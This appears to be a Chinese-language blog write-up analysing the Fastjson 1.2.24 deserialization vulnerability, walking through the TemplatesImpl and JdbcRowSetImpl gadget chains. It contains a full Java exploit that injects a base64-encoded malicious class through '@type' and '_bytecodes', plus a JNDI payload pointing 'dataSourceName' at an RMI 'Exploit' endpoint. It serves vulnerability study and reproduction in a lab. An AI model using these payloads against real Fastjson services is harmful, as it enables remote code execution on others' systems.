Featured image of post Fastjson-1.2.24版本漏洞分析

Fastjson-1.2.24版本漏洞分析

Fastjson-1.2.24版本漏洞分析

  • dk8u65,最好是低一点的版本,因为有一条 Jndi 的链子;虽然说也是可以绕过,我们这里还是一步步来比较好。
  • Maven 3.6.3
  • 1.2.22 <= Fastjson <= 1.2.24

pom.xml 导入如下所示

XML

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>4.0.9</version>
</dependency>
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.5</version>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>commons-codec</groupId>
    <artifactId>commons-codec</artifactId>
    <version>1.12</version>
</dependency>

主要有两条攻击的链子,一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子。

TemplatesImpl利用链

在前面cc3链的时候,利用的就是TemplatesImpl利用链,通过类加载器来执行恶意命令

1
2
3
4
5
TemplatesImpl.getTransletInstance()
  TemplatesImpl.defineTransletClasses()
    TemplatesImpl.defineClass()
      ClassLoader.defineClass()
        newInstance

前面需要一层层调用到getTransletInstance()方法,而如果fastjson可以直接调用getTransletInstance()方法,那么就省去前面的链子调用了

而刚好getTransletInstance()是一个getter方法,但是getter方法调用是有条件的

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

而这个方法返回的是抽象类,不满足条件

寻找调用这个方法

往上找到newTransformer,继续找

找到getOutputProperties

返回的是Properties类,继承了HashMap,自然继承了Map

满足条件

1
getOutputProperties->newTransformer->getTransletInstance

payload

1
2
3
4
final String evilClassPath = "E:\\\\javawork\\\\cc3\\\\src\\\\main\\\\java\\\\cc3\\\\calc.class";
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'Drunkbaby','_tfactory':{ },\"_outputProperties\":{ },";

不需要通过反射来修改,直接json字符串修改即可

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
  ByteArrayOutputStream bos = new ByteArrayOutputStream();
    try {
        IOUtils.copy(new FileInputStream(new File(cls)), bos);
    } catch (IOException e) {
        e.printStackTrace();
    }
    return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String[] args) throws  Exception{
    final String fileSeparator = System.getProperty("file.separator");

    final String evilClassPath = "E:\\\\javawork\\\\cc3\\\\src\\\\main\\\\java\\\\cc3\\\\calc.class";
    String evilCode = readClass(evilClassPath);
    ParserConfig config = new ParserConfig();

    final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    String text1 = "{\"@type\":\"" + NASTY_CLASS +
            "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'Drunkbaby','_tfactory':{ },\"_outputProperties\":{ },";
    System.out.println(text1);
    Object obj  = JSON.parseObject(text1,Object.class,config, Feature.SupportNonPublicField);

evilCode传入的是base64编码的数据,但是动态加载类不会解码

可以看到传入到_bytecodes已经变成字节码数组了

说明base64解码在动态加载前就已经解码过了

根据GPT所说

Base64 数据的解码不是动态加载完成的,而是 JSON 库(如 FastJSON)在解析过程中完成的。JSON 库解析时,根据字段的类型(如 byte[][]),会将 Base64 编码的字符串转换为实际的字节数据。

基于 JdbcRowSetImpl 的利用链

基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式。

1. JNDI + RMI

利用的是JdbcRowSetImpl类下的setDataSourceName方法,用的是JNDI注入的Reference

payload

1
2
3
4
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}

看代码

设置数据源,getter方法,满足fastjson反序列化调用的条件

再看setAutoCommit方法

跟进connect方法可以看到

1
2
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

和JNDI注入时十分相似

而且getDataSourceName()返回dataSourceName值是我们可控的

用yakit的工具

弹成功

最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计